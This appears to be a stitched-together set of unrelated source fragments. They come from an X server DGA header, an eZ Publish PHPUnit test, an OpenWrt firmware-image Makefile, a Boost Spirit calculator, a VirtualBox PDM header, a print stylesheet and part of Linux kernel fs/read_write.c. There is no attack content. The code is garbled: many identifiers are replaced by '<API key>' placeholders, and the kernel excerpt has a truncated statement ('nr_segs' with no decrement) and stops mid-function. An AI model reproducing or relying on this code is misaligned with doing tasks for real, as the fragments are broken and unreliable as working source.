#define DGA_FILL_RECT 0x00000002
#define DGA_BLIT_RECT 0x00000004
#define DGA_BLIT_RECT_TRANS 0x00000008
#define <API key> 0x00000010
#define DGA_INTERLACED 0x00010000
#define DGA_DOUBLESCAN 0x00020000
#define DGA_FLIP_IMMEDIATE 0x00000001
#define DGA_FLIP_RETRACE 0x00000002
#define DGA_COMPLETED 0x00000000
#define DGA_PENDING 0x00000001
#define DGA_NEED_ROOT 0x00000001
typedef struct {
int num; /* A unique identifier for the mode (num > 0) */
char *name; /* name of mode given in the XF86Config */
int VSync_num;
int VSync_den;
int flags; /* <API key>, etc... */
int imageWidth; /* linear accessible portion (pixels) */
int imageHeight;
int pixmapWidth; /* Xlib accessible portion (pixels) */
int pixmapHeight; /* both fields ignored if no concurrent access */
int bytesPerScanline;
int byteOrder; /* MSBFirst, LSBFirst */
int depth;
int bitsPerPixel;
unsigned long red_mask;
unsigned long green_mask;
unsigned long blue_mask;
short visualClass;
int viewportWidth;
int viewportHeight;
int xViewportStep; /* viewport position granularity */
int yViewportStep;
int maxViewportX; /* max viewport origin */
int maxViewportY;
int viewportFlags; /* types of page flipping possible */
int offset;
int reserved1;
int reserved2;
} XDGAModeRec, *XDGAModePtr;
/* DDX interface */
extern _X_EXPORT int
DGASetMode(int Index, int num, XDGAModePtr mode, PixmapPtr *pPix);
extern _X_EXPORT void
DGASetInputMode(int Index, Bool keyboard, Bool mouse);
extern _X_EXPORT void
DGASelectInput(int Index, ClientPtr client, long mask);
extern _X_EXPORT Bool DGAAvailable(int Index);
extern _X_EXPORT Bool DGAActive(int Index);
extern _X_EXPORT void DGAShutdown(void);
extern _X_EXPORT void DGAInstallCmap(ColormapPtr cmap);
extern _X_EXPORT int <API key>(int Index);
extern _X_EXPORT int DGASync(int Index);
extern _X_EXPORT int
DGAFillRect(int Index, int x, int y, int w, int h, unsigned long color);
extern _X_EXPORT int
DGABlitRect(int Index, int srcx, int srcy, int w, int h, int dstx, int dsty);
extern _X_EXPORT int
DGABlitTransRect(int Index,
int srcx, int srcy,
int w, int h, int dstx, int dsty, unsigned long color);
extern _X_EXPORT int
DGASetViewport(int Index, int x, int y, int mode);
extern _X_EXPORT int DGAGetModes(int Index);
extern _X_EXPORT int DGAGetOldDGAMode(int Index);
extern _X_EXPORT int DGAGetModeInfo(int Index, XDGAModePtr mode, int num);
extern _X_EXPORT Bool DGAVTSwitch(void);
extern _X_EXPORT Bool DGAStealButtonEvent(DeviceIntPtr dev, int Index,
int button, int is_down);
extern _X_EXPORT Bool DGAStealMotionEvent(DeviceIntPtr dev, int Index, int dx,
int dy);
extern _X_EXPORT Bool DGAStealKeyEvent(DeviceIntPtr dev, int Index,
int key_code, int is_down);
extern _X_EXPORT Bool DGAOpenFramebuffer(int Index, char **name,
unsigned char **mem, int *size,
int *offset, int *flags);
extern _X_EXPORT void DGACloseFramebuffer(int Index);
extern _X_EXPORT Bool DGAChangePixmapMode(int Index, int *x, int *y, int mode);
extern _X_EXPORT int DGACreateColormap(int Index, ClientPtr client, int id,
int mode, int alloc);
extern _X_EXPORT unsigned char DGAReqCode;
extern _X_EXPORT int DGAErrorBase;
extern _X_EXPORT int DGAEventBase;
extern _X_EXPORT int *XDGAEventBase;
#endif /* __DGAPROC_H */
|
<?php
namespace eZ\Publish\Core\MVC\Symfony\Matcher\Tests\ContentBased;
use eZ\Publish\API\Repository\LocationService;
use eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth as DepthMatcher;
use eZ\Publish\API\Repository\Values\Content\Location;
use eZ\Publish\API\Repository\Repository;
class DepthTest extends BaseTest
{
/** @var \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth */
private $matcher;
protected function setUp(): void
{
parent::setUp();
$this->matcher = new DepthMatcher();
}
/**
* @dataProvider <API key>
* @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth::matchLocation
* @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\MultipleValued::setMatchingConfig
*
* @param int|int[] $matchingConfig
* @param \eZ\Publish\API\Repository\Values\Content\Location $location
* @param bool $expectedResult
*/
public function testMatchLocation($matchingConfig, Location $location, $expectedResult)
{
$this->matcher->setMatchingConfig($matchingConfig);
$this->assertSame($expectedResult, $this->matcher->matchLocation($location));
}
public function <API key>()
{
return [
[
1,
$this->getLocationMock(['depth' => 1]),
true,
],
[
1,
$this->getLocationMock(['depth' => 2]),
false,
],
[
[1, 3],
$this->getLocationMock(['depth' => 2]),
false,
],
[
[1, 3],
$this->getLocationMock(['depth' => 3]),
true,
],
[
[1, 3],
$this->getLocationMock(['depth' => 0]),
false,
],
[
[0, 1],
$this->getLocationMock(['depth' => 0]),
true,
],
];
}
/**
* @dataProvider <API key>
* @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\Depth::matchContentInfo
* @covers \eZ\Publish\Core\MVC\Symfony\Matcher\ContentBased\MultipleValued::setMatchingConfig
* @covers \eZ\Publish\Core\MVC\RepositoryAware::setRepository
*
* @param int|int[] $matchingConfig
* @param \eZ\Publish\API\Repository\Repository $repository
* @param bool $expectedResult
*/
public function <API key>($matchingConfig, Repository $repository, $expectedResult)
{
$this->matcher->setRepository($repository);
$this->matcher->setMatchingConfig($matchingConfig);
$this->assertSame(
$expectedResult,
$this->matcher->matchContentInfo($this->getContentInfoMock(['mainLocationId' => 42]))
);
}
public function <API key>()
{
return [
[
1,
$this-><API key>(1),
true,
],
[
1,
$this-><API key>(2),
false,
],
[
[1, 3],
$this-><API key>(2),
false,
],
[
[1, 3],
$this-><API key>(3),
true,
],
];
}
/**
* Returns a Repository mock configured to return the appropriate Location object with given parent location Id.
*
* @param int $depth
*
* @return \PHPUnit\Framework\MockObject\MockObject
*/
private function <API key>($depth)
{
$locationServiceMock = $this->createMock(LocationService::class);
$locationServiceMock->expects($this->once())
->method('loadLocation')
->with(42)
->will(
$this->returnValue(
$this->getLocationMock(['depth' => $depth])
)
);
$repository = $this->getRepositoryMock();
$repository
->expects($this->once())
->method('getLocationService')
->will($this->returnValue($locationServiceMock));
$repository
->expects($this->once())
->method('<API key>')
->will($this->returnValue($this-><API key>()));
return $repository;
}
}
|
include $(TOPDIR)/rules.mk
include $(INCLUDE_DIR)/image.mk
define Build/Clean
$(MAKE) -C lzma-loader clean
endef
define Image/Prepare
cat $(KDIR)/vmlinux | $(STAGING_DIR_HOST)/bin/lzma e -si -so -eos -lc1 -lp2 -pb2 > $(KDIR)/vmlinux.lzma
rm -f $(KDIR)/loader.gz
$(MAKE) -C lzma-loader \
BUILD_DIR="$(KDIR)" \
TARGET="$(KDIR)" \
clean install
echo -ne "\\x00" >> $(KDIR)/loader.gz
rm -f $(KDIR)/fs_mark
echo -ne '\xde\xad\xc0\xde' > $(KDIR)/fs_mark
$(call <API key>,$(KDIR)/fs_mark)
endef
define Image/Build/wgt634u
dd if=$(KDIR)/loader.elf of=$(BIN_DIR)/openwrt-wgt634u-$(2).bin bs=131072 conv=sync
cat $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx >> $(BIN_DIR)/openwrt-wgt634u-$(2).bin
endef
define Image/Build/dwl3150
cp $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-dwl3150-$(2).bin
echo "<API key>" >> $(BIN_DIR)/openwrt-dwl3150-$(2).bin
endef
define Image/Build/CyberTAN
$(STAGING_DIR_HOST)/bin/addpattern -4 -p $(3) -v v$(4) -i $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx -o $(BIN_DIR)/openwrt-$(2)-$(5).bin $(if $(6),-s $(6))
endef
define Image/Build/CyberTAN2
$(STAGING_DIR_HOST)/bin/addpattern -4 -p $(3) -v v$(4) -i $(BIN_DIR)/openwrt-$(2)-$(5).noheader.bin -o $(BIN_DIR)/openwrt-$(2)-$(5).bin $(if $(6),-s $(6))
endef
define Image/Build/CyberTANHead
$(STAGING_DIR_HOST)/bin/addpattern -5 -p $(3) -v v$(4) -i /dev/null -o $(KDIR)/openwrt-$(2)-header.bin $(if $(6),-s $(6))
endef
define Image/Build/Motorola
$(STAGING_DIR_HOST)/bin/motorola-bin -$(3) $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(4).bin
endef
define Image/Build/USR
$(STAGING_DIR_HOST)/bin/trx2usr $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(3).bin
endef
define Image/Build/Edi
$(STAGING_DIR_HOST)/bin/trx2edips $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx $(BIN_DIR)/openwrt-$(2)-$(3).bin
endef
define trxalign/jffs2-128k
-a 0x20000 -f $(KDIR)/root.$(1)
endef
define trxalign/jffs2-64k
-a 0x10000 -f $(KDIR)/root.$(1)
endef
define trxalign/squashfs
-a 1024 -f $(KDIR)/root.$(1) $(if $(2),-f $(2)) -a 0x10000 -A $(KDIR)/fs_mark
endef
define Image/Build/trxV2
$(call Image/Build/CyberTANHead,$(1),$(2),$(3),$(4),$(5),$(if $(6),$(6)))
$(STAGING_DIR_HOST)/bin/trx -2 -o $(BIN_DIR)/openwrt-$(2)-$(5).noheader.bin \
-f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma \
$(call trxalign/$(1),$(1),$(KDIR)/openwrt-$(2)-header.bin)
$(call Image/Build/CyberTAN2,$(1),$(2),$(3),$(4),$(5),$(if $(6),$(6)))
endef
define Image/Build/jffs2-128k
$(call Image/Build/CyberTAN,$(1),wrt54gs,W54S,4.80.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrtsl54gs,W54U,2.08.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/trxV2,$(1),wrt54g3gv2-vf,3G2V,3.00.24,$(patsubst jffs2-%,jffs2,$(1)),6)
$(call Image/Build/wgt634u,$(1),$(patsubst jffs2-%,jffs2,$(1)))
endef
define Image/Build/jffs2-64k
$(call Image/Build/CyberTAN,$(1),wrt54g3g,W54F,2.20.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt54g3g-em,W3GN,2.20.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt54g,W54G,4.71.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt54gs_v4,W54s,1.09.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt150n,N150,1.51.3,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt300n_v1,EWCB,1.03.6,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt300n_v11,EWC2,1.51.2,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt350n_v1,EWCG,1.04.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/CyberTAN,$(1),wrt610n_v1,610N,1.0.1,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/CyberTAN,$(1),wrt610n_v2,610N,2.0.0,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/CyberTAN,$(1),e3000_v1,61XN,1.0.3,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/CyberTAN,$(1),e3200_v1,3200,1.0.1,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/Motorola,$(1),wa840g,2,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/Motorola,$(1),we800g,3,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/Edi,$(1),ps1208mfg,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/dwl3150,$(1),$(patsubst jffs2-%,jffs2,$(1)))
endef
define Image/Build/squashfs
$(call Image/Build/jffs2-64k,$(1))
$(call Image/Build/jffs2-128k,$(1))
endef
define Image/Build/Initramfs
$(STAGING_DIR_HOST)/bin/trx -o $(BIN_DIR)/$(IMG_PREFIX)-initramfs.trx -f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma
endef
define Image/Build/Chk
$(STAGING_DIR_HOST)/bin/mkchkimg -o $(BIN_DIR)/openwrt-$(2)-$(5).chk -k $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx -b $(3) -r $(4)
endef
define Image/Build
$(STAGING_DIR_HOST)/bin/trx -o $(BIN_DIR)/$(IMG_PREFIX)-$(1).trx \
-f $(KDIR)/loader.gz -f $(KDIR)/vmlinux.lzma \
$(call trxalign/$(1),$(1))
$(call Image/Build/$(1),$(1))
$(call Image/Build/Motorola,$(1),wr850g,1,$(1))
$(call Image/Build/USR,$(1),usr5461,$(1))
# $(call Image/Build/Chk,$(1),wgr614_v8,U12H072T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wgr614_v9,U12H094T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wndr3300,U12H093T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/Chk,$(1),wndr3400_v1,U12H155T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wndr3400_v2,U12H187T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wndr3400_vcna,U12H155T01_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wndr4000,U12H181T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
$(call Image/Build/Chk,$(1),wnr834b_v2,U12H081T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wnr2000v2,U12H114T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wnr3500L,U12H136T99_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wnr3500U,U12H136T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wnr3500v2,U12H127T00_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
# $(call Image/Build/Chk,$(1),wnr3500v2_VC,U12H127T70_NETGEAR,2,$(patsubst jffs2-%,jffs2,$(1)))
endef
$(eval $(call BuildImage))
|
// Full calculator example demonstrating Phoenix
// This is discussed in the "Closures" chapter in the Spirit User's Guide.
// [ JDG 6/29/2002 ]
#include "stdafx.h"
#include <boost/spirit/core.hpp>
#include <boost/spirit/attribute.hpp>
#include <boost/spirit/phoenix/functions.hpp>
#include <iostream>
#include <string>
#include "Main.h"
//#include "bigfp.h"
using namespace std;
using namespace boost::spirit;
using namespace phoenix;
// Our calculator grammar using phoenix to do the semantics
// Note: The top rule propagates the expression result (value) upwards
// to the calculator grammar self.val closure member which is
// then visible outside the grammar (i.e. since self.val is the
// member1 of the closure, it becomes the attribute passed by
// the calculator to an attached semantic action. See the
// driver code that uses the calculator below).
struct calc_closure : boost::spirit::closure<calc_closure, double>
{
member1 val;
};
struct pow_
{
template <typename X, typename Y>
struct result { typedef X type; };
template <typename X, typename Y>
X operator()(X x, Y y) const
{
using namespace std;
return pow(x, y);
}
};
// Notice how power(x, y) is lazily implemented using Phoenix function.
function<pow_> power;
struct calculator : public grammar<calculator, calc_closure::context_t>
{
template <typename ScannerT>
struct definition
{
definition(calculator const& self)
{
top = expression[self.val = arg1];
expression
= term[expression.val = arg1]
>> *( ('+' >> term[expression.val += arg1])
| ('-' >> term[expression.val -= arg1])
)
;
term
= factor[term.val = arg1]
>> *( ('*' >> factor[term.val *= arg1])
| ('/' >> factor[term.val /= arg1])
)
;
factor
= ureal_p[factor.val = arg1]
| '(' >> expression[factor.val = arg1] >> ')'
| ('-' >> factor[factor.val = -arg1])
| ('+' >> factor[factor.val = arg1])
;
}
// const uint_parser<bigint, 10, 1, -1> bigint_parser;
typedef rule<ScannerT, calc_closure::context_t> rule_t;
rule_t expression, term, factor;
rule<ScannerT> top;
rule<ScannerT> const&
start() const { return top; }
};
};
bool DoCalculation(const TCHAR* str, double& result) {
// Our parser
calculator calc;
double n = 0;
parse_info<const wchar_t *> info = parse(str, calc[var(n) = arg1], space_p);
if (info.full) {
result = n;
return true;
}
return false;
}
|
/** @file
* PDM - Pluggable Device Manager, Common Instance Macros.
*/
#ifndef <API key>
#define <API key>
/** @defgroup grp_pdm_ins Common PDM Instance Macros
* @ingroup grp_pdm
* @{
*/
/** @def PDMBOTHCBDECL
* Macro for declaring a callback which is static in HC and exported in GC.
*/
#if defined(IN_RC) || defined(IN_RING0)
# ifdef __cplusplus
# define PDMBOTHCBDECL(type) extern "C" DECLEXPORT(type)
# else
# define PDMBOTHCBDECL(type) DECLEXPORT(type)
# endif
#else
# define PDMBOTHCBDECL(type) static DECLCALLBACK(type)
#endif
/** @def PDMINS_2_DATA
* Converts a PDM Device, USB Device, or Driver instance pointer to a pointer to the instance data.
*/
#define PDMINS_2_DATA(pIns, type) ( (type)(void *)&(pIns)->achInstanceData[0] )
/** @def PDMINS_2_DATA_RCPTR
* Converts a PDM Device, USB Device, or Driver instance pointer to a RC pointer to the instance data.
*/
#define PDMINS_2_DATA_RCPTR(pIns) ( (pIns)->pvInstanceDataRC )
/** @def PDMINS_2_DATA_R3PTR
* Converts a PDM Device, USB Device, or Driver instance pointer to a HC pointer to the instance data.
*/
#define PDMINS_2_DATA_R3PTR(pIns) ( (pIns)->pvInstanceDataR3 )
/** @def PDMINS_2_DATA_R0PTR
* Converts a PDM Device, USB Device, or Driver instance pointer to a R0 pointer to the instance data.
*/
#define PDMINS_2_DATA_R0PTR(pIns) ( (pIns)->pvInstanceDataR0 )
#endif
|
body {border:0; margin:0; padding:0; font-size:12pt}
a {color:#000; text-decoration:none;}
h1, h2, h3 {page-break-after:avoid; page-break-inside:avoid;}
table {border-collapse: collapse; border-width:1px; border-style:solid;}
th, td {display:table-cell; border-width:1px; border-style:solid;}
hr {display:block; height:2px; margin:0; padding:0; background:#000; border:0 solid #000; color:#000;}
blockquote {page-break-inside:avoid}
ul, ol, dl {page-break-before:avoid}
.noprint {display:none;}
|
#include <linux/slab.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/file.h>
#include <linux/uio.h>
#include <linux/smp_lock.h>
#include <linux/fsnotify.h>
#include <linux/security.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/pagemap.h>
#include <linux/splice.h>
#include <trace/fs.h>
#include "read_write.h"
#include <asm/uaccess.h>
#include <asm/unistd.h>
const struct file_operations generic_ro_fops = {
.llseek = generic_file_llseek,
.read = do_sync_read,
.aio_read = <API key>,
.mmap = <API key>,
.splice_read = <API key>,
};
EXPORT_SYMBOL(generic_ro_fops);
/**
* <API key> - lockless generic llseek implementation
* @file: file structure to seek on
* @offset: file offset to seek to
* @origin: type of seek
*
* Updates the file offset to the value specified by @offset and @origin.
* Locking must be provided by the caller.
*/
loff_t
<API key>(struct file *file, loff_t offset, int origin)
{
struct inode *inode = file->f_mapping->host;
switch (origin) {
case SEEK_END:
offset += inode->i_size;
break;
case SEEK_CUR:
offset += file->f_pos;
break;
}
if (offset < 0 || offset > inode->i_sb->s_maxbytes)
return -EINVAL;
/* Special lock needed here? */
if (offset != file->f_pos) {
file->f_pos = offset;
file->f_version = 0;
}
return offset;
}
EXPORT_SYMBOL(<API key>);
/**
* generic_file_llseek - generic llseek implementation for regular files
* @file: file structure to seek on
* @offset: file offset to seek to
* @origin: type of seek
*
* This is a generic implemenation of ->llseek useable for all normal local
* filesystems. It just updates the file offset to the value specified by
* @offset and @origin under i_mutex.
*/
loff_t generic_file_llseek(struct file *file, loff_t offset, int origin)
{
loff_t rval;
mutex_lock(&file->f_dentry->d_inode->i_mutex);
rval = <API key>(file, offset, origin);
mutex_unlock(&file->f_dentry->d_inode->i_mutex);
return rval;
}
EXPORT_SYMBOL(generic_file_llseek);
loff_t no_llseek(struct file *file, loff_t offset, int origin)
{
return -ESPIPE;
}
EXPORT_SYMBOL(no_llseek);
loff_t default_llseek(struct file *file, loff_t offset, int origin)
{
loff_t retval;
lock_kernel();
switch (origin) {
case SEEK_END:
offset += i_size_read(file->f_path.dentry->d_inode);
break;
case SEEK_CUR:
offset += file->f_pos;
}
retval = -EINVAL;
if (offset >= 0) {
if (offset != file->f_pos) {
file->f_pos = offset;
file->f_version = 0;
}
retval = offset;
}
unlock_kernel();
return retval;
}
EXPORT_SYMBOL(default_llseek);
loff_t vfs_llseek(struct file *file, loff_t offset, int origin)
{
loff_t (*fn)(struct file *, loff_t, int);
fn = no_llseek;
if (file->f_mode & FMODE_LSEEK) {
fn = default_llseek;
if (file->f_op && file->f_op->llseek)
fn = file->f_op->llseek;
}
return fn(file, offset, origin);
}
EXPORT_SYMBOL(vfs_llseek);
SYSCALL_DEFINE3(lseek, unsigned int, fd, off_t, offset, unsigned int, origin)
{
off_t retval;
struct file * file;
int fput_needed;
retval = -EBADF;
file = fget_light(fd, &fput_needed);
if (!file)
goto bad;
retval = -EINVAL;
if (origin <= SEEK_MAX) {
loff_t res = vfs_llseek(file, offset, origin);
retval = res;
if (res != (loff_t)retval)
retval = -EOVERFLOW; /* LFS: should only happen on 32 bit platforms */
}
trace_fs_lseek(fd, offset, origin);
fput_light(file, fput_needed);
bad:
return retval;
}
#ifdef <API key>
SYSCALL_DEFINE5(llseek, unsigned int, fd, unsigned long, offset_high,
unsigned long, offset_low, loff_t __user *, result,
unsigned int, origin)
{
int retval;
struct file * file;
loff_t offset;
int fput_needed;
retval = -EBADF;
file = fget_light(fd, &fput_needed);
if (!file)
goto bad;
retval = -EINVAL;
if (origin > SEEK_MAX)
goto out_putf;
offset = vfs_llseek(file, ((loff_t) offset_high << 32) | offset_low,
origin);
trace_fs_llseek(fd, offset, origin);
retval = (int)offset;
if (offset >= 0) {
retval = -EFAULT;
if (!copy_to_user(result, &offset, sizeof(offset)))
retval = 0;
}
out_putf:
fput_light(file, fput_needed);
bad:
return retval;
}
#endif
/*
* rw_verify_area doesn't like huge counts. We limit
* them to something that fits in "int" so that others
* won't have to do range checks all the time.
*/
#define MAX_RW_COUNT (INT_MAX & PAGE_CACHE_MASK)
int rw_verify_area(int read_write, struct file *file, loff_t *ppos, size_t count)
{
struct inode *inode;
loff_t pos;
int retval = -EINVAL;
inode = file->f_path.dentry->d_inode;
if (unlikely((ssize_t) count < 0))
return retval;
pos = *ppos;
if (unlikely((pos < 0) || (loff_t) (pos + count) < 0))
return retval;
if (unlikely(inode->i_flock && mandatory_lock(inode))) {
retval = <API key>(
read_write == READ ? FLOCK_VERIFY_READ : FLOCK_VERIFY_WRITE,
inode, file, pos, count);
if (retval < 0)
return retval;
}
retval = <API key>(file,
read_write == READ ? MAY_READ : MAY_WRITE);
if (retval)
return retval;
return count > MAX_RW_COUNT ? MAX_RW_COUNT : count;
}
static void <API key>(struct kiocb *iocb)
{
set_current_state(<API key>);
if (!kiocbIsKicked(iocb))
schedule();
else
kiocbClearKicked(iocb);
__set_current_state(TASK_RUNNING);
}
ssize_t do_sync_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
{
struct iovec iov = { .iov_base = buf, .iov_len = len };
struct kiocb kiocb;
ssize_t ret;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = *ppos;
kiocb.ki_left = len;
for (;;) {
ret = filp->f_op->aio_read(&kiocb, &iov, 1, kiocb.ki_pos);
if (ret != -EIOCBRETRY)
break;
<API key>(&kiocb);
}
if (-EIOCBQUEUED == ret)
ret = wait_on_sync_kiocb(&kiocb);
*ppos = kiocb.ki_pos;
return ret;
}
EXPORT_SYMBOL(do_sync_read);
ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{
ssize_t ret;
if (!(file->f_mode & FMODE_READ))
return -EBADF;
if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
return -EINVAL;
if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
return -EFAULT;
ret = rw_verify_area(READ, file, pos, count);
if (ret >= 0) {
count = ret;
if (file->f_op->read)
ret = file->f_op->read(file, buf, count, pos);
else
ret = do_sync_read(file, buf, count, pos);
if (ret > 0) {
fsnotify_access(file->f_path.dentry);
add_rchar(current, ret);
}
inc_syscr(current);
}
return ret;
}
EXPORT_SYMBOL(vfs_read);
ssize_t do_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
{
struct iovec iov = { .iov_base = (void __user *)buf, .iov_len = len };
struct kiocb kiocb;
ssize_t ret;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = *ppos;
kiocb.ki_left = len;
for (;;) {
ret = filp->f_op->aio_write(&kiocb, &iov, 1, kiocb.ki_pos);
if (ret != -EIOCBRETRY)
break;
<API key>(&kiocb);
}
if (-EIOCBQUEUED == ret)
ret = wait_on_sync_kiocb(&kiocb);
*ppos = kiocb.ki_pos;
return ret;
}
EXPORT_SYMBOL(do_sync_write);
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
{
ssize_t ret;
if (!(file->f_mode & FMODE_WRITE))
return -EBADF;
if (!file->f_op || (!file->f_op->write && !file->f_op->aio_write))
return -EINVAL;
if (unlikely(!access_ok(VERIFY_READ, buf, count)))
return -EFAULT;
ret = rw_verify_area(WRITE, file, pos, count);
if (ret >= 0) {
count = ret;
if (file->f_op->write)
ret = file->f_op->write(file, buf, count, pos);
else
ret = do_sync_write(file, buf, count, pos);
if (ret > 0) {
fsnotify_modify(file->f_path.dentry);
add_wchar(current, ret);
}
inc_syscw(current);
}
return ret;
}
EXPORT_SYMBOL(vfs_write);
static inline loff_t file_pos_read(struct file *file)
{
return file->f_pos;
}
static inline void file_pos_write(struct file *file, loff_t pos)
{
file->f_pos = pos;
}
SYSCALL_DEFINE3(read, unsigned int, fd, char __user *, buf, size_t, count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_read(file, buf, count, &pos);
trace_fs_read(fd, buf, count, ret);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf,
size_t, count)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_write(file, buf, count, &pos);
trace_fs_write(fd, buf, count, ret);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
return ret;
}
SYSCALL_DEFINE(pread64)(unsigned int fd, char __user *buf,
size_t count, loff_t pos)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
if (pos < 0)
return -EINVAL;
file = fget_light(fd, &fput_needed);
if (file) {
ret = -ESPIPE;
if (file->f_mode & FMODE_PREAD) {
ret = vfs_read(file, buf, count, &pos);
trace_fs_pread64(fd, buf, count, pos, ret);
}
fput_light(file, fput_needed);
}
return ret;
}
#ifdef <API key>
asmlinkage long SyS_pread64(long fd, long buf, long count, loff_t pos)
{
return SYSC_pread64((unsigned int) fd, (char __user *) buf,
(size_t) count, pos);
}
SYSCALL_ALIAS(sys_pread64, SyS_pread64);
#endif
SYSCALL_DEFINE(pwrite64)(unsigned int fd, const char __user *buf,
size_t count, loff_t pos)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
if (pos < 0)
return -EINVAL;
file = fget_light(fd, &fput_needed);
if (file) {
ret = -ESPIPE;
if (file->f_mode & FMODE_PWRITE) {
ret = vfs_write(file, buf, count, &pos);
trace_fs_pwrite64(fd, buf, count, pos, ret);
}
fput_light(file, fput_needed);
}
return ret;
}
#ifdef <API key>
asmlinkage long SyS_pwrite64(long fd, long buf, long count, loff_t pos)
{
return SYSC_pwrite64((unsigned int) fd, (const char __user *) buf,
(size_t) count, pos);
}
SYSCALL_ALIAS(sys_pwrite64, SyS_pwrite64);
#endif
/*
* Reduce an iovec's length in-place. Return the resulting number of segments
*/
unsigned long iov_shorten(struct iovec *iov, unsigned long nr_segs, size_t to)
{
unsigned long seg = 0;
size_t len = 0;
while (seg < nr_segs) {
seg++;
if (len + iov->iov_len >= to) {
iov->iov_len = to - len;
break;
}
len += iov->iov_len;
iov++;
}
return seg;
}
EXPORT_SYMBOL(iov_shorten);
ssize_t <API key>(struct file *filp, const struct iovec *iov,
unsigned long nr_segs, size_t len, loff_t *ppos, iov_fn_t fn)
{
struct kiocb kiocb;
ssize_t ret;
init_sync_kiocb(&kiocb, filp);
kiocb.ki_pos = *ppos;
kiocb.ki_left = len;
kiocb.ki_nbytes = len;
for (;;) {
ret = fn(&kiocb, iov, nr_segs, kiocb.ki_pos);
if (ret != -EIOCBRETRY)
break;
<API key>(&kiocb);
}
if (ret == -EIOCBQUEUED)
ret = wait_on_sync_kiocb(&kiocb);
*ppos = kiocb.ki_pos;
return ret;
}
/* Do it by hand, with file-ops */
ssize_t <API key>(struct file *filp, struct iovec *iov,
unsigned long nr_segs, loff_t *ppos, io_fn_t fn)
{
struct iovec *vector = iov;
ssize_t ret = 0;
while (nr_segs > 0) {
void __user *base;
size_t len;
ssize_t nr;
base = vector->iov_base;
len = vector->iov_len;
vector++;
nr_segs
nr = fn(filp, base, len, ppos);
if (nr < 0) {
if (!ret)
ret = nr;
break;
}
ret += nr;
if (nr != len)
break;
}
return ret;
}
/* A write operation does a read from user space and vice versa */
#define vrfy_dir(type) ((type) == READ ? VERIFY_WRITE : VERIFY_READ)
